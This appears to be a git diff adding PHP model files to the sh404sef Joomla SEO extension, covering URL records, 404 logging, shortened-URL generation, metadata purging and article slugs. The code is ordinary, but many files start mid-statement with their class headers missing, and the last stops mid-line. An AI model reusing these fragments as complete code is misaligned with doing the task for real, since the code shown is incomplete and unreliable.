ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + + // use current filters for default layout of metas manager + $context = $model->updateContext( $this->_context . '.' . 'default'); + + // read url data from model + $list = $model->getList( (object) array('layout' => 'default', 'getMetaData' => true)); + + $metaRecordsIds = array(); + // store meta data records ids for urls with some metat data + if (!empty($list)) { + foreach ($list as $urlRecord) { + $id = intval($urlRecord->metaid); + if (!empty( $id)) { + $metaRecordsIds[] = $this->_db->Quote($id); + } + } + } + + // if no urls with meta data, return empty query + if (empty( $metaRecordsIds)) { + return ''; + } + + // start delete query + $query = 'delete from ' . $this->_db->quoteName( $this->_getTableName()); + + // call method to build where clause in accordance to current settings and user selection + $where = implode( ', ', $metaRecordsIds); + + // stitch where clause + $query = $query . ' where id in (' . $where . ')'; + + return $query; + } + + protected function _getTableName() { + + return '#__sh404sef_metas'; + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/notfound.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfound.php new file mode 100644 index 00000000..56648eb6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfound.php @@ -0,0 +1,393 @@ +_updateContextData(); + + // Lets load the content if it doesn't already exist + if (is_null($this->_data)) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + if($filters->filter_similar_urls) { + $this->_getSimilarUrls( $returnZeroElement); + } else { + parent::getList( $options, $returnZeroElement, $forcedLimitstart, $forcedLimit); + } + } + + return $this->_data; + } + + /** + * Method to get the total number of categories + * + * @access public + * @return integer + */ + public function getTotal( $options = null) { + + // make sure we use latest user state + $this->_updateContextData(); + + // Lets load the content if it doesn't already exist + if (is_null($this->_total)) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + if($filters->filter_similar_urls) { + $this->_countSimilarUrls(); + } else { + parent::getTotal( $options); + } + } + + return $this->_total; + } + + /** + * Read a url object from DB + * + * @param integer $id + */ + public function getUrl( $id) { + + if(is_null( $this->_url)) { + $this->_url = JTable::getInstance( 'urls', 'Sh404sefTable'); + $result = $this->_url->load( $id); + } + + return $this->_url; + } + + /** + * Make the url with id = $cid the main url + * in case of duplicates. Also set the previous + * main url as secondary, swapping their rank + * + * @param integer $notFoundUrlId id of not found page, to be redirected + * @param integer $targetUrlId id of SEF url to redirect to + */ + public function redirectNotFoundUrl($notFoundUrlId, $targetUrlId) { + + jimport( 'joomla.database.table'); + // read targetUrl + $targetUrl = JTable::getInstance( 'urls', 'Sh404sefTable'); + $targetUrl->load( $targetUrlId); + // collect errors + $error = $targetUrl->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // read alias, as obtained from original 404 record + $notFoundUrl = JTable::getInstance( 'urls', 'Sh404sefTable'); + $notFoundUrl->load( $notFoundUrlId); + // collect errors + $error = $notFoundUrl->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // prepare an alias record to save to db + $alias = JTable::getInstance( 'aliases', 'Sh404sefTable'); + $newAlias = array( 'newurl' => $targetUrl->newurl, 'alias' => $notFoundUrl->oldurl, 'type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS); + + // let table save record + $alias->save( $newAlias); + + // collect errors + $error = $alias->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // now delete the page not found record + $notFoundUrl->delete(); + // collect errors + $error = $notFoundUrl->getError(); + if (!empty( $error)) { + $this->setError( $error); + return 0; + } + + // return what should be a non-zero id + return $alias->id; + } + + /** + * Hook to protected method to reset model internal cached data + * used after changing context for instance + */ + public function resetData() { + + // clean data, total and pagination, as we need them rebuilt + $this->_data = null; + $this->_total = null; + $this->_pagination = null; + } + + /** + * Hook to protected method to read latest state + */ + public function updateContextData() { + + $this->_updateContextData(); + } + + + /** + * Gets alist of current filters and sort options which have + * been applied when building up the data + * @override + * @return object the list ov values as object properties + */ + public function getDisplayOptions() { + + $options = parent::getDisplayOptions(); + + // get additional options vs base class + + // component used in url + $options->filter_component = $this->_getState( 'filter_component'); + // show all/only with aliases/only w/o aliases + $options->filter_alias = $this->_getState( 'filter_alias'); + // show all/only custom/only automatic + $options->filter_url_type = $this->_getState( 'filter_url_type'); + // show all/only one language + $options->filter_language = $this->_getState( 'filter_language'); + + // show all/only similar urls + $options->filter_similar_urls = $this->_getState( 'filter_similar_urls'); + + // return cached instance + return $options; + } + + /** + * Lookup urls similar to the (not found) request + * stored in $this->_url + * + * @param boolean $returnZeroElement if true, an empty object is store in result + * if there is not data available. If false, result is left null + */ + protected function _getSimilarUrls( $returnZeroElement) { + + // check if we have not already done the job + if(is_null( $this->_data)) { + + if (is_callable( 'shFindSimilarUrls')) { + // get plugin params + $plugin = JPluginHelper::getPlugin('sh404sefcore', 'sh404sefsimilarurls'); + + // init params from plugin + $pluginParams = new JRegistry($plugin->params); + + // call our similar url function + // TODO: move similar url into a model + $this->_data = shFindSimilarUrls( $this->_url->oldurl, $pluginParams); + $this->_total = is_array($this->_data) ? count( $this->_data) : 0; + + if ($returnZeroElement && empty( $this->_data)) { + // create an empty record and return it + $this->_data = array(JTable::getInstance( $this->_defaultTable, 'Sh404sefTable')); + } + } + } + + } + + /** + * Count urls similar to the (not found) request + * stored in $this->_url + * + */ + protected function _countSimilarUrls() { + + // check if we have not already done the job + if(is_null( $this->_total)) { + $this->_getSimilarUrls($returnZeroElement = false); + } + + return $this->_total; + } + + protected function _buildListSelect( $options) { + + // array to hold select clause parts + $select = array(); + + // get the layout option from params + $layout = $this->_getOption( 'layout', $options); + switch ($layout) { + default: + $select[] = ' select u1.*, pg.pageid as pageid'; + break; + } + + // add from clause + $select[] = 'from ' . $this->_getTableName() . ' as u1'; + + // aggregate clauses + $select = ( count( $select ) ? implode( ' ', $select ) : '' ); + + return $select; + } + + protected function _buildListJoin( $options) { + + // array to hold join clause parts + $join = array(); + + // get page ids + $join[] = 'left join ' . $this->_db->quoteName( '#__sh404sef_pageids') . ' as pg'; + $join[] = 'on pg.' . $this->_db->quoteName('newurl') . ' = u1.' . $this->_db->quoteName('newurl'); + + // aggregate clauses + $join = ( count( $join ) ? ' ' . implode( ' ', $join ) : '' ); + + return $join; + + } + + protected function _buildListWhere( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // array to hold where clause parts + $where = array(); + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + + // only display main url + $where[] = 'u1.rank = 0'; + + // don't include 404s in the proposed redirects + // only display main url + $where[] = 'u1.newurl <> ""'; + + // add search all urls term if any + if ( !empty($filters->search_all) ) { // V 1.2.4.q added search URL feature + jimport( 'joomla.utilities.string'); + $searchTerm = $this->_cleanForQuery( JString::strtolower($filters->search_all)); + $where[] = "LOWER(u1.oldurl) LIKE '%" . $searchTerm . "%'"; + } + + // components check + if (!empty( $filters->filter_component)) { + $where[] = "LOWER(u1.newurl) LIKE '%option=" . $this->_cleanForQuery( $filters->filter_component ) . "%'"; + } + + // language check + if (!empty( $filters->filter_language)) { + $where[] = "LOWER(u1.newurl) LIKE '%lang=" . $this->_cleanForQuery( $filters->filter_language ) . "%'"; + } + + // custom or automatic ? + if (!empty( $filters->filter_url_type)) { + switch ($filters->filter_url_type) { + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM: + $where[] = 'u1.dateadd <> ' . $this->_db->Quote( '0000-00-00'); + break; + case Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO: + $where[] = 'u1.dateadd = ' . $this->_db->Quote( '0000-00-00'); + break; + } + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + + protected function _getTableName() { + + return '#__sh404sef_urls'; + + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected function _getContextDataDef() { + + $contextData = parent::_getContextDataDef(); + + // define context data to be retrieved. Cannot be done at class level, + // as some default values are dynamic + $addedContextData = array( + + // redefined default sort order + array( 'name' => 'filter_order', 'html_name' => 'filter_order', 'default' => 'rank', 'type' => 'string') + + // component used in url + , array( 'name' => 'filter_component', 'html_name' => 'filter_component', 'default' => '', 'type' => 'string') + // show all/only with aliases/only w/o aliases + , array( 'name' => 'filter_alias', 'html_name' => 'filter_alias', 'default' => 0, 'type' => 'int') + // show all/only custom/only automatic + , array( 'name' => 'filter_url_type', 'html_name' => 'filter_url_type', 'default' => 0, 'type' => 'int') + // show all/only one language + , array( 'name' => 'filter_language', 'html_name' => 'filter_language', 'default' => '', 'type' => 'string') + + // show all/only similar urls + , array( 'name' => 'filter_similar_urls', 'html_name' => 'filter_similar_urls', 'default' => 1, 'type' => 'int') + + + ); + + return array_merge( $contextData, $addedContextData); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.full.php new file mode 100644 index 00000000..59ffba5b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.full.php @@ -0,0 +1,97 @@ +shLog404Errors && !empty($reqPath)) + { + try + { + $record = ShlDbHelper::selectObject('#__sh404sef_urls', '*', array('oldurl' => $reqPath)); + + if (!empty($record)) + { + // we have, so update counter + ShlDbHelper::runQuotedQuery('update ?? set cpt=(cpt+1) where ?? = ?', array('#__sh404sef_urls', 'oldurl'), array($reqPath)); + } + else + { + // record the 404 + ShlDbHelper::insert('#__sh404sef_urls', + array('cpt' => 1, 'rank' => 0, 'oldurl' => $reqPath, 'newurl' => '', 'dateadd' => ShlSystem_Date::getUTCNow('Y-m-d'))); + } + // add more details about 404 into security log file + if ($config->shSecEnableSecurity && $config->shSecLogAttacks) + { + $logData = array(); + $logData['DATE'] = ShlSystem_Date::getSiteNow('Y-m-d'); + $logData['TIME'] = ShlSystem_Date::getSiteNow('H:i:s'); + $logData['CAUSE'] = 'Page not found (404)'; + $logData['C-IP'] = empty($_SERVER['REMOTE_ADDR']) ? '-' : $_SERVER['REMOTE_ADDR']; + if ($_SERVER['REMOTE_ADDR'] != 'localhost' && $_SERVER['REMOTE_ADDR'] != '::1') + { + $name = getHostByAddr($_SERVER['REMOTE_ADDR']); + } + else + { + $name = '-'; + } + $logData['NAME'] = $name; + $logData['USER_AGENT'] = empty($_SERVER['HTTP_USER_AGENT']) ? '-' : $_SERVER['HTTP_USER_AGENT']; + $logData['REQUEST_METHOD'] = $_SERVER['REQUEST_METHOD']; + $logData['REQUEST_URI'] = $_SERVER['REQUEST_URI']; + $logData['COMMENT'] = ''; + + shLogToSecFile($logData); + } + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, ' Database error: ' . $e->getMessage()); + return false; + } + } + + return true; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.php new file mode 100644 index 00000000..cb62a601 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/notfoundstore.php @@ -0,0 +1,17 @@ +_mustCreatePageid( $nonSefUrl)) { + return $shURL; + } + + jimport( 'joomla.utilities.string'); + $sefUrl = JString::ltrim( $sefUrl, '/'); + + try { + if( !empty( $sefUrl)) { + // check that we don't already have a shURL for the same SEF url, even if non-sef differ + $result = (int) ShlDbHelper::count( '#__sh404sef_urls', '*', $this->_db->quoteName('oldurl') . ' = ? and ' . $this->_db->quoteName('newurl') . ' <> ?', array( $sefUrl, '')); + + if (!empty($result) && $result > 1) { + // we already have a SEF URL, so we must already have a shURL as well + return $shURL; + } + } + + // check this nonsef url does not already have a shURL + $existingShurl = ShlDbHelper::selectResult('#__sh404sef_pageids', 'pageid', array( 'newurl' => $nonSefUrl)); + // there already is a shurl for the same non-sef + if (!empty( $existingShurl)) { + return $existingShurl; + } + + // if we don't already have a shURL, create the new one + $shURL = $this->_buildPageId(); + if (!empty( $shURL)) { + + // insert in db + ShlDbHelper::insert( '#__sh404sef_pageids', array('newurl' => $nonSefUrl, 'pageid' => $shURL, 'type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_PAGEID, 'hits' => 0)); + } + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + + } + // don't need to add the pageid to cache, won't be needed when building up the page, + //only when decoding incoming url + return $shURL; + } + + /** + * Count pageids record + * either all of them or the currently selected set + * as per user filter settings in meta manager + * + * @param string $type either 'all' or 'selected' + */ + public function getPageIdsCount( $type) { + + switch (strtolower( $type)) { + + // we want to read all automatic urls (include duplicates) + case 'all': + $numberOfPageids = 0; + try { + $numberOfPageids = ShlDbHelper::count( $this->_getTableName(), '*'); + } catch (Exception $e) { + } + break; + + // we want to read urls as per current selection input fields + // ie : component, language, custom, ... + case 'selected': + // get model and update context with current + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + + // use current filters for default layout of metas manager + $context = $model->setContext( $this->_context . '.' . 'default'); + + // display type: simple for very large sites/slow slq servers + $sefConfig = & Sh404sefFactory::getConfig(); + + // read url data from model + $list = $model->getList( (object) array('layout' => 'default', 'getPageId' => true, 'simpleUrlList' => true, 'slowServer' => $sefConfig->slowServer)); + + $numberOfPageids = 0; + // just count urls with some pageids + if (!empty($list)) { + foreach ($list as $urlRecord) { + if (!empty( $urlRecord->pageid)) { + $numberOfPageids++; + } + } + } + break; + + default: + $numberOfPageids = 0; + break; + } + + return intval( $numberOfPageids); + } + + /** + * Delete a list of pagesids from their ids, + * passed as params + * + * @param array of integer $ids the list of shURL id to delete + */ + public function deleteByIds( $ids = array()) { + + if (empty($ids)) { + return false; + } + + // perform deletion + try { + ShlDbHelper::deleteIn( $this->_getTableName(), 'id', $ids, ShlDbHelper::INTEGER); + } catch (Exception $e) { + $this->setError( 'Internal database error # ' . $e->getMessage()); + return false; + } + + return true; + } + + /** + * Purge shURL records from the database + * either all of them or the currently selected set + * as per user filter settings in meta manager + * + * @param string $type either 'all' or 'selected' + */ + public function purgePageids( $type) { + + // make sure we use latest user state + $this->_updateContextData(); + + // call the appropriate sub-method to get the db query + $methodName = '_getPurgeQuery' . ucfirst($type); + if (is_callable( array( $this, $methodName))) { + $deleteQuery = $this->$methodName(); + } else { + $this->setError( 'Invalid method call _purge' . $type); + return; + } + + // then run the query + if (!empty( $deleteQuery)) { + // perform deletion + try { + ShlDbHelper::query( $deleteQuery); + } catch (Exception $e) { + $this->setError( 'Internal database error # ' . $e->getMessage()); + } + // reset limit and limitstart variables, to avoid + // issue when displaying again results + $this->_setState( 'limitstart', 0); + $this->_setState( 'limit', 0); + } else { + $this->setError( JText::_('COM_SH404SEF_NORECORDS')); + } + + } + + /** + * Delete all automatically generated url records + * from database and cache + */ + private function _getPurgeQueryAll() { + + // delete from database + $query = 'truncate ' . $this->_db->quoteName( $this->_getTableName()); + + return $query; + } + + private function _getPurgeQuerySelected() { + + // get model and update context with current + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + + // use current filters for default layout of shURLs manager + $context = $model->updateContext( $this->_context . '.' . 'default'); + + // read url data from model + $list = $model->getList( (object) array('layout' => 'default', 'getPageId' => true)); + + $shURLs = array(); + // store meta data records ids for urls with some metat data + if (!empty($list)) { + foreach ($list as $urlRecord) { + $shURLs[] = $this->_db->Quote($urlRecord->pageid,true); + } + } + + // if no urls with shURL data, return empty query + if (empty( $shURLs)) { + return ''; + } + + // start delete query + $query = 'delete from ' . $this->_db->quoteName( $this->_getTableName()); + + // call method to build where clause in accordance to current settings and user selection + $where = implode( ', ', $shURLs); + + // stitch where clause + $query = $query . ' where pageid in (' . $where . ')'; + + return $query; + } + + + protected function _buildListWhere( $options) { + + // array to hold where clause parts + $where = array(); + + // are we reading pageids for one specific url ? + $newurl = $this->_getOption( 'newurl', $options); + if (!is_null( $newurl)) { + $where[] = 'newurl = ' . $this->_db->Quote( $newurl); + $where[] = 'type = ' . $this->_db->Quote( Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_PAGEID); + } + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + protected function _buildListOrderBy( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // build query fragment + $orderBy = ' order by ' . $this->_db->quoteName( 'newurl'); + $orderBy .= ' ' . $filters->filter_order_Dir; + + return $orderBy; + } + + protected function _getTableName() { + + return '#__sh404sef_pageids'; + + } + + private function _buildPageId() { + + $shURL = ''; + + $nextId = $this->_getNextDBId( $this->_db->getPrefix() . 'sh404sef_pageids'); + if ($nextId !== false) { + $nextId = base_convert( 18+$nextId, 10, 18); + for ($c = 0; $c < strlen($nextId); ++$c) { + $char = base_convert($nextId{$c}, 18, 10); + $shURL .= self::$_regular{$char}; + } + } + + // now check if this shurl is not an existing + // SEF or alias. If so, use the alternate char set + // to create a new shurl, and try again. + // using alternate char set (instead of simply increasing nextId) + // makes sure that next time we try to create a shurl (for next URL) + // we won't try something we've already used, making the number of attempts + // for each shurl creation grows each time there is a collision + try { + $attempts = 0; + $maxAttempts = 8; + // don't need to check for collisions with existing shurls + // as we use the next insert id, and code that using a unique char set + //however, if we need to modify the shurl because it collides with + // an existing SEF url or an alias, we will do so using the alternate + // character set, so the new shurl don't risk collision with a regular + // shurl but it may then collide with another, previously modified shurl + // and so we need to check for shurl collisions when this happens + $doneShurl = true; + // however, need to check for collisions with regular sef urls and aliases + $doneSef = false; + $doneAlias = false; + // and for bad language + $doneClean = false; + // prepare user set bad language/exclusion list + $sefConfig = &Sh404sefFactory::getConfig(); + $sefConfig->shurlBlackList = JString::trim( $sefConfig->shurlBlackList); + if(empty( $sefConfig->shurlBlackList)) { + $blackList = array(); + } else if(strpos( $sefConfig->shurlBlackList, '|') !== false) { + $blackList = explode('|', $sefConfig->shurlBlackList); + } else { + $blackList = array( $sefConfig->shurlBlackList); + } + $doneBlackList = false; + do { + + // clean word check + if(!$doneClean) { + if( in_array( $shURL, self::$_badWords)) { + // bad language + $attempts++; + // build a new shurl, by changing a character + // with one from the alternate set + $shURL = $this->_getModifiedShurl( $shURL); + + // invalidate shurl and alias check flag, to check again with this new shurl + $doneShurl = false; + $doneAlias = false; + $doneSef = false; + $doneBlackList = false; + } else { + $doneClean = true; + } + } + + // user word black list + if(!$doneBlackList) { + if( in_array( $shURL, $blackList)) { + // bad language + $attempts++; + // build a new shurl, by changing a character + // with one from the alternate set + $shURL = $this->_getModifiedShurl( $shURL); + + // invalidate shurl and alias check flag, to check again with this new shurl + $doneShurl = false; + $doneAlias = false; + $doneSef = false; + $doneClean = false; + } else { + $doneBlackList = true; + } + } + + // regular SEF url collision check + if(!$doneSef) { + $isSEF = (int) ShlDbHelper::count( '#__sh404sef_urls', '*', $this->_db->quoteName('oldurl') . ' = ? and ' . $this->_db->quoteName('newurl') . ' <> ?', array( $shURL, '')); + if( !empty( $isSEF)) { + // there is already a SEF url like that + $attempts++; + // build a new shurl, by changing a character + // with one from the alternate set + $shURL = $this->_getModifiedShurl( $shURL); + + // invalidate shurl and alias check flag, to check again with this new shurl + $doneShurl = false; + $doneAlias = false; + $doneClean = false; + $doneBlackList = false; + } else { + $doneSef = true; + } + } + + // previous shurl check + if(!$doneShurl) { + $isShurl = (int) ShlDbHelper::count( '#__sh404sef_pageids', '*', array( 'pageid' => $shURL, 'type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_PAGEID)); + if( !empty( $isShurl)) { + // there is already a shurl like that + $attempts++; + // build a new shurl, by changing a character + // with one from the alternate set + $shURL = $this->_getModifiedShurl( $shURL); + + // invalidate regular sef and alias check flag, to check again with this new shurl + $doneSef = false; + $doneAlias = false; + $doneClean = false; + $doneBlackList = false; + } else { + $doneShurl = true; + } + } + + // alias collision check + if(!$doneAlias) { + $isAlias = (int) ShlDbHelper::count( '#__sh404sef_aliases', '*', array( 'alias' => $shURL, 'type' => Sh404sefHelperGeneral::COM_SH404SEF_URLTYPE_ALIAS)); + if( !empty( $isAlias)) { + // there is already an alias like that + $attempts++; + // build a new shurl, by changing a character + // with one from the alternate set + $shURL = $this->_getModifiedShurl( $shURL); + + // invalidate regular sef and shurl check flag, to check again with this new shurl + $doneSef = false; + $doneShurl = false; + $doneClean = false; + $doneBlackList = false; + } else { + $doneAlias = true; + } + } + + } while ((!$doneSef || !$doneAlias || !$doneShurl || !$doneClean || !$doneBlackList) && ($attempts < $maxAttempts)); + + } catch (Exception $e) { + } + + return $shURL; + } + + private function _getModifiedShurl( $shurl) { + + static $charIndex = 0; + static $altCharIndex = 0; + + $altCharSize = strlen( self::$_alternate); + + $shurl[$charIndex] = self::$_alternate[$altCharIndex]; + $altCharIndex++; + if($altCharIndex >= $altCharSize) { + $altCharIndex = 0; + $charIndex++; + } + + return $shurl; + + } + + private function _getNextDBId( $table) { + if (empty( $table)) { + return false; + } + + try { + // need to force replace prefix + $query = 'show table status like ' . $this->_db->Quote( $table); + $this->_db->setQuery( $query); + $status = $this->_db->loadAssoc(); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + if (empty( $status) || empty( $status['Auto_increment'])) { + return false; + } else { + return (int) $status['Auto_increment']; + } + } + + private function _mustCreatePageid( $nonSefUrl) { + + // currently disabled by sef url plugin + if (!self::$_mustCreate) { + return false; + } + + // if enabled at sef url plugin level, check configuration + $sefConfig = &Sh404sefFactory::getConfig(); + + // check global flags + if (!$sefConfig->enablePageId || $sefConfig->stopCreatingShurls) { + return false; + } + + // make sure we have a language + $pageInfo = & Sh404sefFactory::getPageInfo(); + $nonSefUrl = Sh404sefHelperUrl::setUrlVar($nonSefUrl, 'lang', $pageInfo->currentLanguageShortTag); + + // not on homepage + if( shIsAnyHomepage( $nonSefUrl)) { + return ''; + } + + // check at component level + $option = Sh404sefHelperUrl::getUrlVar( $nonSefUrl, 'option'); + $option = str_replace( 'com_', '', $option); + $enable = !empty( $option) && in_array( $option, $sefConfig->compEnablePageId); + + // check non sef url content black list + $sefConfig->shurlNonSefBlackList = JString::trim( $sefConfig->shurlNonSefBlackList); + if(empty( $sefConfig->shurlNonSefBlackList)) { + $blackList = array(); + } else if(strpos( $sefConfig->shurlNonSefBlackList, '|') !== false) { + $blackList = explode('|', $sefConfig->shurlNonSefBlackList); + } else { + $blackList = array( $sefConfig->shurlNonSefBlackList); + } + if(!empty( $blackList)) { + foreach( $blackList as $bit) { + if(!empty( $bit) && strpos( $nonSefUrl, $bit) !== false) { + // match, don't create a shurl for this non sef url + $enable = false; + break; + } + } + } + + return $enable; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/pageids.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/pageids.php new file mode 100644 index 00000000..cb62a601 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/pageids.php @@ -0,0 +1,17 @@ +shUseURLCache) { + $urlType = Sh404sefHelperCache::getSefUrlFromCache($nonSefUrl, $sefUrl); + } + // Check if the url is already saved in the database. + if ($urlType == sh404SEF_URLTYPE_NONE) { + $urlType = $this->getSefUrlFromDatabase( $nonSefUrl, $sefUrl); + if ($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) { + return $urlType; + } else { + if ($sefConfig->shUseURLCache) { + Sh404sefHelperCache::addSefUrlToCache( $nonSefUrl, $sefUrl, $urlType); + } + } + } + return $urlType; + } + + public function getSefUrlFromDatabase( $nonSefUrl, &$sefUrl) { + + try { + + $result = ShlDbHelper::selectObject( $this->_getTableName(), array( 'oldurl', 'dateadd'), array( 'newurl' => $nonSefUrl)); + + } catch (Exception $e) { + return sh404SEF_URLTYPE_NONE; + } + + // if match is empty, well, this should not happen + if (empty($result->oldurl)) { + return sh404SEF_URLTYPE_NONE; + } + + // store SEF url match found for non-sef + $sefUrl = $result->oldurl; + + return $result->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + } + + /** + * Fetch a non-sef url directly from database + * + * @param string $sefUrl the sefurl we are searching a non sef for + * @param string $nonSefUrl will be set to non sef url found + * @return integer code, either none found, or the url pair type: custom or automatic + */ + public function getNonSefUrlFromDatabase( & $sefUrl, & $nonSefUrl) { + + try { + + $result = ShlDbHelper::selectObject( $this->_getTableName(), array( 'oldurl' ,'newurl', 'dateadd'), array( 'oldurl' => $sefUrl), array(), $orderBy = array('rank')); + + } catch (Exception $e) { + return sh404SEF_URLTYPE_NONE; + } + + if(empty( $result->newurl)) { + // no match, that's a 404 for us + return sh404SEF_URLTYPE_404; + } + + // found it + $nonSefUrl = $result->newurl; + // also adjust sefurl, as the one we have found in db might have a different case from original + $sefUrl = $result->oldurl; + + // return code: either custom or automatic url + return $result->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; + + } + + protected function _getTableName() { + + return '#__sh404sef_urls'; + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/models/slugs.php b/deployed/sh404sef/administrator/components/com_sh404sef/models/slugs.php new file mode 100644 index 00000000..37d5fbbb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/models/slugs.php @@ -0,0 +1,329 @@ + $id)); + + // if not found, that's bad + if (empty($article)) + { + throw new Sh404sefExceptionDefault('Non existing article id (' . $id . ') passed to ' . __METHOD__ . ' in ' . __CLASS__, 500); + } + + // store our cached record + self::$_articles[$id][$article->language] = $article; + } + + return self::$_articles[$id]; + } + + public function getArticleSlug($id, $useAlias, $insertId, $insertIdCatList, $requestedLanguage = '*', $separator = '') + { + + $rawArticle = $this->getArticle($id); + + // select language + $language = $requestedLanguage; + if (empty($rawArticle[$language])) + { + $language = '*'; + } + // still no luck, use whatever is available + if (empty($rawArticle[$language])) + { + $languages = array_keys($rawArticle); + $language = array_shift($languages); + } + + // must insert id ? + $insertId = $this->_shouldInsertArticleId($insertId, $insertIdCatList, $rawArticle[$language]->catid); + + // build slug now + $slug = ''; + if ($insertId) + { + $separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator; + $slug = $id . $separator; + } + $slug .= $useAlias ? $rawArticle[$language]->alias : $rawArticle[$language]->title; + + return $slug; + } + + protected function _shouldInsertArticleId($insertId, $insertIdCatList, $catId) + { + + if (empty($insertId) || empty($catId)) + { + return false; + } + + // we should insert id if article category is listed in the parameter + $shouldInsert = (!empty($insertIdCatList) && empty($insertIdCatList[0])) || in_array($catId, $insertIdCatList); + + return $shouldInsert; + } + + /** + * + * Get an object describing a category, for the + * purpose of sh404SEF usage, for a Joomla! category + * + * @param string $extension extension for which category is searched + * @param integer $id id of requested category + * @throws Sh404sefExceptionDefault if invalid id + */ + public function getCategory($extension, $id) + { + + // sanitize input + $extension = strtolower($extension); + if (empty($extension) || substr($extension, 0, 4) !== 'com_') + { + throw new Sh404sefExceptionDefault('Invalid extension (' . $extension . ') passed to ' . __METHOD__ . ' in ' . __CLASS__, 500); + } + $id = intval($id); + if (empty($id)) + { + throw new Sh404sefExceptionDefault('Invalid category id passed to ' . __METHOD__ . ' in ' . __CLASS__, 500); + } + + // check if cached, create if not + if (empty(self::$_categories[$extension]) || empty(self::$_categories[$extension][$id])) + { + + // get the Joomla! built category node + jimport('joomla.application.categories'); + $options = array('access' => false, 'published' => 0); + $categories = JCategories::getInstance(str_replace('com_', '', $extension), $options); + + // and ask for the category Joomla! object + $node = $categories->get($id); + + // no data? error + if (empty($node)) + { + throw new Sh404sefExceptionDefault('Non existing category id (' . $id . ') passed to ' . __METHOD__ . ' in ' . __CLASS__, 500); + } + + // we have an object, build our record + $cat = new StdClass(); + $cat->id = $node->id; + $cat->extension = $node->extension; + $cat->title = $node->title; + $cat->alias = $node->alias; + $cat->language = $node->language; + $cat->params = $node->params; + $cat->metadesc = $node->metadesc; + $cat->metakey = $node->metakey; + $cat->metadata = $node->metadata; + $cat->pathArray = $this->_buildCategoryRawNodePathArray($node); + + self::$_categories[$extension][$id][$node->language] = $cat; + } + + // do we now have the category? if not, throw Exception + if (empty(self::$_categories[$extension]) || empty(self::$_categories[$extension][$id])) + { + throw new Sh404sefExceptionDefault('Non existing category id (' . $id . ') passed to ' . __METHOD__ . ' in ' . __CLASS__, 500); + } + + return self::$_categories[$extension][$id]; + + } + + public function getCategoryPathArray($extension, $id, $whichCat, $useAlias, $insertId, $requestedLanguage = '*', $separator = '') + { + + // get full category data + $rawCat = $this->getCategory($extension, $id); + + // select language + $language = $requestedLanguage; + if (empty($rawCat[$language])) + { + $language = '*'; + } + + // still no luck, use whatever is available + if (empty($rawCat[$language])) + { + $languages = array_keys($rawCat); + $language = array_shift($languages); + } + + // break reference + if (!empty($rawCat[$language])) + { + $copyCat = clone ($rawCat[$language]); + } + else + { + throw new Sh404sefExceptionDefault('Language (' . $requestedLanguage . ') not found in categories list, ' . __METHOD__ . ' in ' + . __CLASS__, 500); + } + + // only keep appropriate parts, according to request + switch ($whichCat) + { + case shSEFConfig::CAT_ALL_NESTED_CAT: + $pathArray = $copyCat->pathArray; + break; + case shSEFConfig::CAT_NONE: + $pathArray = array(); + break; + case shSEFConfig::CAT_FIRST: + $pathArray = array(array_shift($copyCat->pathArray)); + break; + case shSEFConfig::CAT_LAST: + $pathArray = array(array_pop($copyCat->pathArray)); + break; + case shSEFConfig::CAT_2_FIRST: + $pathArray = $copyCat->pathArray; + while (count($pathArray) > 2) + { + array_pop($pathArray); + } + break; + case shSEFConfig::CAT_2_LAST: + $pathArray = $copyCat->pathArray; + while (count($pathArray) 